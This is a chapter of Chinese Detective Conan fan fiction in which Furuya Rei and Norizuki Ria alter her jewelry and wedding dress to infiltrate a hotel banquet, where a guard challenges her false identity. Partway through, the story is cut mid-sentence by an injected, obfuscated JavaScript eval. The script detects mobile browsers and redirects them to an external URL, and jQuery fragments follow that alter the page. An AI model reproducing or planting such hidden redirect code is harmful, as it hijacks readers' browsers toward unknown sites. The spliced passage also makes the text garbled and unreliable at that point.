23.危险筵席
作品:《[名柯]总之闪婚绝非易事》 降谷零沉默不语。
法月莉亚似乎完全没有察觉到他隐隐的拒绝,反而积极自荐:“你不觉得很合适吗?拿我当借口的话,我是真的完全无所谓哦。对了,我还可以帮忙圆场——对付高级宴会可是我的特长。”
好像确实是个很便利的助力,避免了他不恰当地对无法充分调查的人脉露出生疏感。即便真的被什么人怀疑甚至捉住,只要顺势亮出她的底牌来,也没有什么人敢对法月家的独生女随便动手。虽然确实没有卧底经验,但遇到紧急情况大概比风见回收起来还容易。
不对,怎么真的开始思考把普通人卷进来的后果了。他懊恼地拍了拍额头。
莉亚投去了疑惑的眼神。
“你真的很奇怪……学习院出身的女主播,这不是明显的大小姐模板吗,为什么不愿意在家里安安稳稳地享受生活,反而要做潜入搜查官的助手?”
茶色眼睛里的疑惑变成了鄙夷:“街上随便抓个女的,再塞给她十个亿,那她立刻就可以成为大小姐。怎么看都是卧底搜查的经历比较少见,不是人人都能做的吧?”
哈。公安警察在心里干笑了一声。卧底搜查官他见多了,通讯录随便按出去一个号码,八成都是卧底,怎么看都是十个亿日元比较珍贵……算了,离家出走都要带巨额现金的大小姐显然不会认同他的看法。
他换了个角度,试图说服:“已经没有钱给你买首饰和服装了,所以还是——”
“你果然在这方面一窍不通。”大小姐解下设计繁复的项链,推到他面前,“看到了吗,这种设计的项链,只要在关键位置拆开,就可以变化造型。”
法月莉亚说着动起手,小心翼翼地用发卡挑开了项链背后的卡扣,几下就把一整条网链状的项链拆成了分散的若干块。
她拿着互相比了比,把刚刚拆开的两枚耳坠和一颗小蓝宝石推给降谷零,“这几个是你的,袖扣和领带配饰。”然后把剩下的一摊拨到了自己这边,“这些留给我,这个当主石,这个当胸针……唔,大概凑出来一套简约款还有得剩。”
在莉亚拆开这条项链之前,他其实还没有意识到上面的宝石到底有多少。而这个拆首饰进行改装的动作……以及虽然只是学习洗钱手段时的匆匆一瞥,他好像在卧底培训的拍卖物资料里有看过类似的款式。
价格好像……比今天的西装长多了。
降谷零终于意识到这应该不是他的薪水能支付得起的——除非是拿他的抚恤金买。
说起来这家伙突然穿越时空,难道真的没有一种可能是因为丈夫突然身亡了吗?很像催泪苦情剧会有的设定啊。
他觉得嘴里发苦,咕咚干咽了一口,“这样也没有可以给你穿的裙子……太太应该比先生打扮得更好吧?”
“这个也不难解决。”她轻快地站起身,赤着脚跑回了卧室。降谷零听到了衣柜柜门的碰撞声,紧接着是过长的布料在地板上划过的沙沙声。在真切看到之前,耳朵其实已经给了他答案——
法月莉亚果然拖着那条带着刺绣暗纹的婚纱回来了。她捏着肩膀的布料,在自己身上比了比,“把裙摆拆掉两层,再把拖尾改短,应该就差不多像纯白的普通晚礼服了吧?”
这次不是过长的价格让他感到在意了,而是另一件事:“可那是你的……”
她无所谓地抬了抬手,“啊,没关系,以后可以买更好的——”
“……婚纱。”
气氛突然僵住了。
在丈夫面前对着婚纱浑不在意地说“下一条更美”,以及要靠老婆亲手拆首饰和婚纱推进任务——很难说到底哪一方更尴尬。
法月莉亚眨了眨眼,把裙子和西装一件件整理起来,假装无事发生,“总之就这么决定了,对吧?那还是找个裁缝改一改。我最熟的那家恐怕不太行,我们家的衣服都要送过去,店长婆婆大概会对他们提起看到过我吧……”
“……啊,这个不用担心,交给我吧。”
“诶?”
降谷零有点不自在地挪开了视线,“嘛,读警校的时候制服总不合身,训练多了也容易磨损,又有门禁在,所以还是自己处理比较方便。”
她抱着裙子愣了一会儿,才反应过来:真是发现了丈夫意想不到的技能呢。
准备妥当之后,他们又一次在一个有奢靡酒宴的夜晚造访了米花大饭店。
莉亚挽上降谷零胳膊的同时,忍不住悄悄朝肩膀后面瞥了瞥,“但你真的不觉得不应该用大露背的设计吗?总觉得怪怪的。”
他看了看周围的动向,才压低嗓音回答:“这个设计就是这样,是你自己选的吧?我只能按照原来的缝合改改尺码、拆掉两片布料什么的,怎么会大幅改动款式——而且我之前又没做过女装。”
她小声嘀咕:“那是因为原本还有头纱。现在好冷哦,果然还是最讨厌大露背的礼服了。”
在莉亚纠结礼服是否改造妥当的时候,一位穿着黑色燕尾服的门童走了过来。
降谷零清了清嗓子,悄悄用手肘碰了碰她。莉亚瞬间噤声,换上了一种疏离矜持的冷淡微笑。
“先生,女士,晚上好,请问你们有请柬吗?”
降谷零从胸袋里掏出一枚浆果红的信封递了过去。对方快速扫了扫,便客气地为他们撑开门,“请往这边走。”
莉亚小声问:“你这不是拿到了请柬吗,为什么说难以接近?”
降谷零维持着一个纹丝不动的淡淡微笑,即便是擦肩而过的人,也看不出他正在低声介绍着即将到来的违法活动细节:“这是他们外围的酒宴,会请很多人来参加,但如果想真正接触到目标人物,得被邀请进入稻荷会的核心圈层。”
兴奋的新手公安协助人愣了愣,发现自己准备了大量的物质材料,甚至还把逃路用的马自达开去做了保养,却忘记问最关键的问题了:“所以目标人物是谁?”
“真高兴你想起来问了。”他勾了勾嘴角,“这就是比较为难的事……她指定了要稻荷会会长的活动录影,所以只找到这个文件存放的地方还不够,还得判断哪位是会长。”
交谈中,他们走到了宴会厅前。隔着沉重的雕花门,就能隐隐窥见里面的沸腾景象。带着白绸手套的服务生立刻上前帮忙开门,揭开了一片灯火辉煌。
宴会厅中,到处都是穿着考究的优雅男女,正三五成群地把酒交谈。负责提供饮食的服务生们正在奔走,用盛满美食的银托盘堆满了桌子,把空气装点上了淡淡的糖霜味道。
莉亚环视四周许久,皱了皱眉。
这间米花大酒店的宴会厅后来被他们征用做了婚礼待客的场所,但两次宴会的布局截然不同。这场酒宴是很典型的立式餐会,没有明显的主宾区域,反而分散地摆了不少供人休息的软椅和高脚桌。
“这样确实没法直接看出谁是主人了……没有这方面的情报吗?”
降谷零的回答夹在乐队演奏的田园音乐里,几不可闻,“也有一些猜测,不过是根据其他成员的身份和地位反推的。目前可能性比较大的总理大臣的儿子、内阁官房事务官,还有桥本财团的理事长。”
“那么应该优先关注桥本财团。”莉亚快速给出判断,“另
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079375|160860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外两个即便真的是这个组织的核心,一般也会为了避嫌而推脱掉正式的职位,毕竟如果有什么丑闻爆出就太难解决了。顺便一说,我见过杉下总理家的次子,很活泼的一个人,满脑子都是赛车和乐队。”
降谷零瞥了一眼她,没有立刻回答,反而把酒杯举到唇边沾了沾。
难道说的不对?她试着用他一贯的思路重新算了算——咦,这不是确实说得挺好?
于是暗暗怒目而视,进行无声的质问。
某人放下酒杯,屏蔽掉了控诉:“没什么,就是想果然还是大臣家的女儿才比较了解大臣家的生态……那也是你的相亲对象?”
“是吧,那老头子偶尔塞点前华族给我。那家伙出了名的叛逆,可能觉得会和我比较聊得来吧?我是见了他之后才知道我其实还挺保守的……不过你查到的应该是他哥哥吧,怎么了吗?”
“没有。”降谷零若无其事,“我就是挺惊讶原来我以后会成为保守派啊。”
……才不是,其实你才是那个激进的选项。
但电光石火间,她意识到了这个问题的陷阱所在。“足够保守”对于伴侣来说挺起来可不像是一句夸赞。于是莉亚便装作没听懂,把话题轻巧地转移开了,“桥本财团倒是不太熟悉……要是和我们家的桥本有什么亲戚关系就容易得多了。”
他嗤笑一声,放下酒杯,“你们家的桥本要是有这样的亲戚,就不用像我一样跟在大小姐身后伺候了。”
她到底哪里难伺候了?再说桥本也不是天天跟着她!
莉亚正要反驳,却被人插了话进来:“您好,请问您是安室莉亚女士吗?”
他什么时候又给她换了假名?不是已经说好她在别人面前叫“星野怜子”的吗?她还在思索怎么接上这个问话,降谷零就已经抢先开口回答了:“是的,这就是内子。请问您有什么事情?”
那个保安打扮的人看了看莉亚,又看了看手上的资料,非常为难地说:“安室夫人的宾客信息似乎有点问题。非常抱歉,但为了酒会的顺利进行,我们还是想单独确认下,您看可以吗?”
莉亚心里咯噔响了一声:她的加入是临时决定的,难道是盗窃了别人的身份被发现了?
她张了张口,想维护自己的身份,但不知从何下手。
降谷零在对方难以察觉的地方扯了扯她的裙摆。他皱起眉,露出一种仿佛看到了脏东西出现在自己面前的傲慢神色,“这不大合适吧?这样级别的活动居然这么草率?实在是超出我的想象了。”
但那位警卫人员的态度很坚决,“抱歉,这也是为了您在内的宾客安全着想。只要太太的身份信息能印证上就好了,不然我们也只能请您离场。”
就连降谷零也卡顿了一下。他开始努力回想技术部的人到底是借用了谁的信息来进行造假的。
那个名字用了一会儿功夫才终于出现在他记忆的角落里。但要怎么当着面传递给莉亚呢?
他试图把这个对话接管过来:“我说了不要这么对我太太说话。有什么问题直接问我——”
对方强硬地拒绝了:“请让这位太太本人和我们进行确认。我想知道她的生日和受邀组别?”
但莉亚还是沉默无声。对方的神色显然变得怀疑起来,视线来回在他们身上转,甚至伸手去摸对讲机。
她忽然开口了,但却把脸转向了降谷零,露出身在状况之外的茫然无知:“O que ele está falando?”
语气里甚至还有一些悠然自得的轻快。
降谷零不由得愣了愣。